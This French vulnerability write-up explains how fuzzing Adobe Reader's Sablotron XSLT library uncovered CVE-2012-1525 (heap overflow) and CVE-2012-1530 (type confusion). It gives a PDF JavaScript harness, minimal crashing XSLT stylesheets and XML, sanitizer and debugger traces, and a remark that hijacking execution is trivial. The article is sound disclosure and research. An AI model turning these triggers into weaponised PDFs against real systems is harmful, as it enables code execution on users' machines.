Adobe Reader utilise comme interpréteur XSLT une bibliothèque open source, Sablotron. L’étude en « boîte blanche » de cette bibliothèque a permis d’identifier plusieurs vulnérabilités que nous allons détailler.
1. Démarche globale
Cela fait plusieurs années que j’applique une démarche relativement atypique pour identifier des vulnérabilités dans certains logiciels du marché. L’astuce consiste à tester de manière isolée un composant open source, en utilisant l’ensemble des solutions techniques applicables (calcul de la couverture de code avec GCov [GCOV], instrumentation des accès mémoire avec Address Sanitizer [ASAN], visualisation de structures complexes avec Data Display Debugger [DDD]…). Une fois une ou plusieurs vulnérabilités identifiées, il ne reste qu’à les déclencher via le logiciel ciblé, qui lui est éventuellement propriétaire.
Cette technique a permis d’identifier des vulnérabilités dans VMware ESX, Novell eDirectory, Webkit, PostgreSQL, PHP5 et Adobe Reader. Évidemment, cette technique permet entre autres de réaliser du fuzzing très ciblé, avec des performances très largement supérieures à celles pouvant être obtenues en testant le logiciel de manière globale.
2. Adobe Reader et Sablotron
Dans le cas d’Adobe Reader, il est possible d’exécuter du code XSLT soit via les formulaires XFA (« XML Forms Architecture » [XFA]), soit via JavaScript. La création de formulaires XFA+XSLT nécessitant l’utilisation d’Adobe LiveCycle ES3, l’option JavaScript a été privilégiée.
Une structure modulaire est adoptée pour le fichier PDF de test : le code JavaScript traite des documents XML (la source de données et la feuille XSLT) localisés ailleurs dans le document, ici en xfa.data.nodes.item(0). La source de données XML est le premier nœud, et la feuille XSLT le deuxième. Le résultat de la transformation est affiché via une boîte de dialogue :
var xslt = xfa.data.nodes.item(0).nodes.item(1).saveXML();
var result = xfa.data.nodes.item(0).nodes.item(0).applyXSL(xslt);
app.alert(result);
Les interpréteurs XSLT disposent tous de fonctions d’introspection. Cela permet d’identifier facilement l’interpréteur sous-jacent, simplement en appelant la fonction system-property(’xsl:vendor’). Lors de la phase d’identification de l’interpréteur XSLT sous-jacent, la feuille XSLT suivante est utilisée :
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="text" media-type="text/plain"/>
<xsl:template match="/">
Vendor : <xsl:value-of select="system-property(’xsl:vendor’)" />
URL : <xsl:value-of select="system-property(’xsl:vendor-url’)" />
</xsl:template>
</xsl:stylesheet>
Le résultat, illustré par la capture d’écran suivante, est identique pour toutes les versions d’Adobe Reader.
Fig. 1 : Boîte de dialogue générée par Adobe Reader XI
L’URL www.gingerall.com révèle que l’interpréteur XSLT utilisé est Sablotron. Pour être plus précis, Ginger Alliance était l’hébergeur et le principal contributeur de Sablotron, à l’époque où ce projet était encore actif. De nos jours, il n’existe plus qu’une page sur [SOURCEFORGE] référençant la dernière version (1.0.3 datée de juillet 2006). Une recherche pour le mot-clé Sablotron sur le site d’Adobe révèle que les modifications apportées par Adobe à cette bibliothèque sont librement téléchargeables depuis leur site [PATCH]. Les modifications les plus récentes datent de 2004 et s’appliquent à Sablotron 1.0.1, que nous allons donc tester.
Récapitulons… Adobe Reader inclut une version modifiée d’une bibliothèque open source, Sablotron. La version sur laquelle se base Adobe est vieille d’une dizaine d’années, et les fichiers CHANGES indiquent qu’une attention spécifique a été portée aux aspects de performance et de sécurité :
Various code hygiene changes: eliminated all write accesses to constant strings; eliminated the creation of unterminated strings; eliminated all potential buffer overruns; eliminated all known potential floating-point and integer overflows; replaced some hard-coded constants for initial list sizing with e.g. LIST_SIZE_2; eliminated all newly discovered memory leaks. Most of the memory leaks resulted from error handling, e.g. usage of undeclared variables
Voilà un challenge qui s’annonce intéressant !
3. Instrumentation et fuzzing de Sablotron
Address Sanitizer est un des modules du compilateur LLVM. Il permet d’étudier de manière dynamique (pendant l’exécution d’un programme) les accès à la mémoire, afin de détecter des erreurs comme des « heap overflow » ou « double free ». Les performances d’un programme compilé avec Address Sanitizer sont deux fois moins bonnes que sans instrumentation. Cela reste extrêmement intéressant comparé à Valgrind dont l’impact est d’un facteur 20 à 30. La compilation de Sablotron 1.0.1 avec LLVM et Address Sanitizer est triviale :
LDFLAGS="-faddress-sanitizer -ldl -lm -lstdc++" CC="$HOME/asan/third_party/llvm-build/Release+Asserts/bin/clang" CFLAGS="-faddress-sanitizer -O1 -fno-omit-frame-pointer -g" CXX="$HOME/asan/third_party/llvm-build/Release+Asserts/bin/clang++" CXXFLAGS="-faddress-sanitizer -O1 -fno-omit-frame-pointer -g" ./configure
Nous disposons maintenant d’un exécutable minimaliste, instrumenté et représentatif des fonctionnalités XSLT d’Adobe Reader. Il ne reste plus qu’à appliquer un fuzzing par mutation tout à fait classique. Or, qui dit fuzzing par mutation (ou dumb fuzzing) implique l’accès à un volumineux corpus de feuilles XSLT valides et l’utilisation d’un diversificateur adapté à ce format.
Ayant par le passé eu pas mal de succès avec Radamsa [RADAMSA] (dont l’identification de failles de sécurité dans Microsoft Excel, Mozilla Firefox, Webkit, …), la question du diversificateur ne se pose pas. En ce qui concerne l’obtention de multiples feuilles XSLT valides, il suffit d’utiliser les « Test Suites » éditées par le W3C, le NIST ou OASIS. Les interfaces de suivi de bugs de plusieurs projets libres ont elles aussi été écumées, afin de collecter des feuilles XSLT connues pour avoir causé des problèmes.
Le banc de tests est donc composé des binaires Sablotron et Radamsa, d’une source de données XML relativement complexe, de 7 000 feuilles XSLT distinctes et d’un simple script Shell orchestrant le tout. Environ deux millions de tests sont réalisés chaque jour, dans une VM hébergée sur un ordinateur portable. Cela est bien supérieur à ce qu’il serait possible d’obtenir en testant directement Adobe Reader.
4. CVE-2012-1525 : débordement sur le tas
Au bout de quelques minutes, un premier plantage est détecté par ASan. Le rapport généré est le suivant :
==2288== ERROR: AddressSanitizer heap-buffer-overflow on address 0x7f8abcc394f4 at pc 0x7f8abe931825 bp 0x7fffab43bd30 sp 0x7fffab43bd28
WRITE of size 4 at 0x7f8abcc394f4 thread T0
#0 00000000000f8825 <utf8ToUtf16(wchar_t*, char const*)+0x135>:
for (const char *p = src; *p; p += utf8SingleCharLength(p))
{
code = utf8CharCode(p);
if (code < 0x10000UL)
{
*dest = (wchar_t)(code);
f8825: 89 fa mov %edi,%edx
#1 isValidNCName(char const*)+0x52
#2 isValidQName(char const*)+0x8e
#3 XSLElement::execute(Situation&, Context*, int)+0x18a9
#4 AttSet::execute(Situation&, Context*, Tree&, QNameList&, int)+0x273
#5 AttSetList::executeAttSet(Situation&, QName&, Context*, Tree&, QNameList&, int)+0x144
#6 Element::executeAttributeSets(Situation&, Context*, int)+0x1a6
#7 XSLElement::execute(Situation&, Context*, int)+0x1347
#8 VertexList::execute(Situation&, Context*, int)+0x7d
#9 Daddy::execute(Situation&, Context*, int)+0xd
#10 XSLElement::execute(Situation&, Context*, int)+0x1d15
#11 Processor::execApplyTemplates(Situation&, Context*, int)+0x149
#12 Processor::execute(Situation&, Vertex*, Context*&, int)+0x6c
#13 XSLElement::execute(Situation&, Context*, int)+0x2100
#14 VertexList::execute(Situation&, Context*, int)+0x7d
#15 Daddy::execute(Situation&, Context*, int)+0xd
#16 RootNode::execute(Situation&, Context*, int)+0x9
#17 Processor::run(Situation&, char const*, void*)+0x4a9
#18 SablotRunProcessor+0x1ad
#19 runSingleXSLT(char const**, char const**, char**)+0x2c4
#20 main+0x4ea
#21 __libc_start_main+0xfd
0x7f8abcc394f4 is located 0 bytes to the right of 1140-byte region [0x7f8abcc39080, 0x7f8abcc394f4) allocated by thread T0 here:
#0 000000000040b042 <operator new[](unsigned long)+0x22>:
40b042: 4c 8d b5 d8 fd ff ff lea -0x228(%rbp),%r14
#1 isValidNCName(char const*)+0x44
#2 isValidQName(char const*)+0x8e
#3 XSLElement::execute(Situation&, Context*, int)+0x18a9
#4 AttSet::execute(Situation&, Context*, Tree&, QNameList&, int)+0x273
#5 AttSetList::executeAttSet(Situation&, QName&, Context*, Tree&, QNameList&, int)+0x144
#6 Element::executeAttributeSets(Situation&, Context*, int)+0x1a6
#7 XSLElement::execute(Situation&, Context*, int)+0x1347
#8 VertexList::execute(Situation&, Context*, int)+0x7d
#9 Daddy::execute(Situation&, Context*, int)+0xd
#10 XSLElement::execute(Situation&, Context*, int)+0x1d15
#11 Processor::execApplyTemplates(Situation&, Context*, int)+0x149
#12 Processor::execute(Situation&, Vertex*, Context*&, int)+0x6c
#13 XSLElement::execute(Situation&, Context*, int)+0x2100
#14 VertexList::execute(Situation&, Context*, int)+0x7d
#15 Daddy::execute(Situation&, Context*, int)+0xd
#16 RootNode::execute(Situation&, Context*, int)+0x9
#17 Processor::run(Situation&, char const*, void*)+0x4a9
#18 SablotRunProcessor+0x1ad
#19 runSingleXSLT(char const**, char const**, char**)+0x2c4
#20 main+0x4ea
Comme toujours avec ASan, le rapport est très riche et permet d’appréhender rapidement le bug. Ici, une structure de 1400 octets est allouée via l’opérateur new[] dans la fonction isValidNCName(). Un peu plus tard, la fonction utf8ToUtf16() tente d’écrire après cette structure, indiquant un débordement sur le tas tout à fait classique.
Voici le code de la fonction qui vérifie la validité du NCName passé en paramètre :
351 Bool isValidNCName(const char* name)
352 {
353 int len = utf8StrLength(name);
354 if (len == 0) return FALSE;
355
356 wchar_t *buff = new wchar_t[len + 1];
357
358 utf8ToUtf16(buff, name);
La structure buff est créée ligne 356 avec une taille issue de la fonction utf8StrLength(). Le code de cette fonction est le suivant :
62 int utf8StrLength (const char* text)
63 {
64 int len;
65 for (len = 0; *text; len++)
66 {
67 if (!(*text & 0x80))
68 text++;
69 else text += utf8SingleCharLength(text);
70 }
71 return len;
72 }
Il apparaît que la variable len n’est mise à jour que par len++ dans l’instruction for. Donc, le résultat de utf8SingleCharLength() n’affectera pas sa valeur. Cette fonction retournera donc 5 pour la chaîne AB, au lieu de 8 (4 caractères de 1 octet + 1 caractère de 4 octets). La variable buff sera donc trop petite pour stocker le résultat de la conversion, d’où le crash ligne 169 (dans le cas présent) de la fonction utf8ToUtf16() détaillée ci-dessous :
159 int utf8ToUtf16(wchar_t *dest, const char *src)
160 {
161 unsigned long code;
162 int len = 0,
163 thislen;
164 for (const char *p = src; *p; p += utf8SingleCharLength(p))
165 {
166 code = utf8CharCode(p);
167 if (code < 0x10000UL)
168 {
169 *dest = (wchar_t)(code);
170 thislen = 1;
171 }
172 else
173 {
174 dest[0] = 0xd7c0U + (code >> 10);
175 dest[1] = 0xdc00U | code & 0x3ff;
176 thislen = 2;
177 };
178 dest += thislen;
179 len += thislen;
180 }
181 *dest = 0;
182 return len;
183 }
Une feuille XSLT minimaliste permettant de reproduire le bug serait de la forme suivante :
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
<xsl:template match="/">
<xsl:attribute name="AB"/>
</xsl:template>
</xsl:stylesheet>
Une fois notre fichier PDF de test modifié pour inclure cette feuille XSLT, il suffit de l’ouvrir dans Adobe Reader pour déclencher le bug. Voilà ce que cela donne avec Reader 9.5.1 sous Linux :
*** glibc detected *** /usr/bin/acroread: free(): corrupted unsorted chunks: 0x0c5bbb80 ***
======= Backtrace: =========
/lib/i386-linux-gnu/libc.so.6(+0x75ee2)[0xb5abcee2]
/usr/lib/i386-linux-gnu/libstdc++.so.6(_ZdlPv+0x1f)[0xb5a0b51f]
/usr/lib/i386-linux-gnu/libstdc++.so.6(_ZdaPv+0x1b)[0xb5a0b57b]
/opt/Adobe/Reader9/Reader/intellinux/lib/libAXSLE.so(+0x52292)[0xb2902292]
/opt/Adobe/Reader9/Reader/intellinux/lib/libAXSLE.so(+0x523f2)[0xb29023f2]
/opt/Adobe/Reader9/Reader/intellinux/lib/libAXSLE.so(+0x855c9)[0xb29355c9]
/opt/Adobe/Reader9/Reader/intellinux/lib/libAXSLE.so(+0xa23bc)[0xb29523bc]
/opt/Adobe/Reader9/Reader/intellinux/lib/libAXSLE.so(+0xa8dad)[0xb2958dad]
/opt/Adobe/Reader9/Reader/intellinux/lib/libAXSLE.so(+0xabac8)[0xb295bac8]
/opt/Adobe/Reader9/Reader/intellinux/lib/libAXSLE.so(+0xacced)[0xb295cced]
/opt/Adobe/Reader9/Reader/intellinux/lib/libAXSLE.so(+0xaec9d)[0xb295ec9d]
/opt/Adobe/Reader9/Reader/intellinux/lib/libAXSLE.so(+0xaf425)[0xb295f425]
/opt/Adobe/Reader9/Reader/intellinux/lib/libAXSLE.so(+0xa72f8)[0xb29572f8]
/opt/Adobe/Reader9/Reader/intellinux/lib/libAXSLE.so(+0xad05a)[0xb295d05a]
/opt/Adobe/Reader9/Reader/intellinux/lib/libAXSLE.so(+0xa4495)[0xb2954495]
En termes d’exploitation, les contraintes sont peu nombreuses : l’attaquant peut allouer une variable de la taille qu’il souhaite, puis y copier des données dont il maîtrise la longueur et le contenu ;-)
5. CVE-2012-1530 : confusion de type
Un deuxième plantage est détecté quelques jours plus tard. Le rapport est cette fois-ci moins précis, cette famille de vulnérabilités (confusion de type) n’étant pas de celles détectées nativement par ASan :
==13350== ERROR: AddressSanitizer crashed on unknown address 0x74757074756f (pc 0x7fb537c12ae7 sp 0x7fff48b894e0 bp 0x7fff48b89510 T0)
#0 0000000000102ae7 <AttList::findNdx(QName const&)+0x97>:
// need to use a temporary variable
// to get around Solaris template problem
Vertex * pTemp = (*this)[i];
a = toA(pTemp);
if (attName == a -> getName())
102ae7: 48 8b 07 mov (%rdi),%rax
#1 Expression::callFunc(Situation&, Expression&, PList<Expression*>&, Context*)+0x2c16
#2 Expression::eval(Situation&, Expression&, Context*, int)+0xe5f
#3 Expression::trueFor(Situation&, Context*, int&)+0xb1
#4 Expression::createLPContextLevel(Situation&, int, int, void*, Context&, Context*)+0x6fa
#5 Expression::createLPContext(Situation&, Context*&, int, void*)+0x1a1
#6 Expression::createContext(Situation&, Context*&, int)+0x7a1
#7 XSLElement::execute(Situation&, Context*, int)+0x872
#8 VertexList::execute(Situation&, Context*, int)+0x7d
#9 Daddy::execute(Situation&, Context*, int)+0xd
#10 XSLElement::execute(Situation&, Context*, int)+0x1d15
#11 Processor::execApplyTemplates(Situation&, Context*, int)+0x149
#12 Processor::execute(Situation&, Vertex*, Context*&, int)+0x6c
#13 Processor::builtinRule(Situation&, Context*, int)+0x1d8
#14 Processor::execApplyTemplates(Situation&, Context*, int)+0x10e
#15 Processor::execute(Situation&, Vertex*, Context*&, int)+0x6c
#16 XSLElement::execute(Situation&, Context*, int)+0x2100
#17 VertexList::execute(Situation&, Context*, int)+0x7d
#18 Daddy::execute(Situation&, Context*, int)+0xd
#19 RootNode::execute(Situation&, Context*, int)+0x9
#20 Processor::run(Situation&, char const*, void*)+0x4a9
#21 SablotRunProcessor+0x1ad
#22 runSingleXSLT(char const**, char const**, char**)+0x2c4
#23 main+0x4ea
#24 __libc_start_main+0xfd
Le programme plante en essayant d’accéder l’adresse 0x74757074756f lors de l’appel à la méthode getName de la structure « a » de type « Attribute ». Or cette valeur ressemble étrangement à une chaîne ASCII. Après décodage, cette valeur correspond à la chaîne output qui est bel et bien présente dans la source de données XML. Après réduction manuelle de la feuille XSLT et des données XML, nous arrivons à quelque chose d’intéressant.
La feuille XSLT :
1 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
2 <xsl:template match="node()">
3 <xsl:apply-templates select="node()[lang(’foo’)]"/>
4 </xsl:template>
5 </xsl:stylesheet>
La source de données XML :
1 <a>
2 <abcd/>
3 </a>
Le crash :
==30232== ERROR: AddressSanitizer crashed on unknown address 0x000064636261 (pc 0x7f9276fe7f57 sp 0x7fff138122e0 bp 0x7fff13812310 T0)
#0 0000000000102f57 <AttList::findNdx(QName const&)+0x77>:
{
// need to use a temporary variable
// to get around Solaris template problem
Vertex * pTemp = (*this)[i];
a = toA(pTemp);
if (attName == a -> getName())
102f57: 48 8b 07 mov (%rdi),%rax
#1 Expression::callFunc(Situation&, Expression&, PList<Expression*>&, Context*)+0x2c52
#2 Expression::eval(Situation&, Expression&, Context*, int)+0xe5f
#3 Expression::trueFor(Situation&, Context*, int&)+0xb1
#4 …
Il reste une question à laquelle répondre : comment les données injectées par l’attaquant sont-elles utilisées par la suite par le programme ? Regardons avec GDB :
Program received signal SIGSEGV, Segmentation fault.
AttList::findNdx (this=0x6c6ef8, attName=...) at verts.cpp:1282
1282 if (attName == a -> getName())
(gdb) x/3i $rip
=> 0x415d24 <_ZN7AttList7findNdxERK5QName+96>: mov (%rdi),%rax
0x415d27 <_ZN7AttList7findNdxERK5QName+99>: callq *0x40(%rax)
0x415d2a <_ZN7AttList7findNdxERK5QName+102>: mov %rax,%rsi
(gdb) p/x $rdi
$2 = 0x64636261
Récapitulons : suite à des conversions de type explicites causées par les appels à la fonction XPath node(), une chaîne de texte extraite de la source de données XML est utilisée comme adresse mémoire. Cette adresse mémoire est considérée par l’application comme une structure de type « Attribute ». Cette structure contient à l’offset 0x40 un pointeur vers la fonction getName qui est exécutée directement après. Voici une situation parfaite pour l’attaquant !
Vérifions tout de même si le fonctionnement est similaire sous Adobe Reader (ici la version 10.1.4 sous Windows) :
Fig. 2 : Crash survenant juste avant l’appel à la fonction située en [EAX+1C]
Impeccable ! Mis à part de légères différences liées au changement de système d’exploitation, de plate-forme matérielle et de compilateur, on retrouve bien le comportement identifié dans la version « ligne de commandes ». Maîtriser le pointeur d’exécution est maintenant trivial, et l’exploitation complète est laissée en exercice au lecteur. Il est à noter que les versions X et XI d’Adobe Reader incluent un « bac à sable », dont il faudra ensuite sortir… ou pas.
Conclusion
Voilà comment l’étude d’une obscure bibliothèque permet d’identifier facilement plusieurs vulnérabilités affectant toutes les versions d’Adobe Reader. La même méthodologie est applicable aux autres bibliothèques utilisées par Adobe Reader, et bien sûr à tous les programmes propriétaires incluant des composants open source. Bonne chasse !
Liens
[GCOV] http://en.wikipedia.org/wiki/Gcov
[ASAN] http://code.google.com/p/address-sanitizer/
[DDD] http://www.gnu.org/software/ddd/
[XFA] http://partners.adobe.com/public/developer/xml/index_arch.html
[SOURCEFORGE] http://sourceforge.net/projects/sablotron/
[PATCH] http://partners.adobe.com/public/developer/opensource/index.html
[RADAMSA] http://code.google.com/p/ouspg/wiki/Radamsa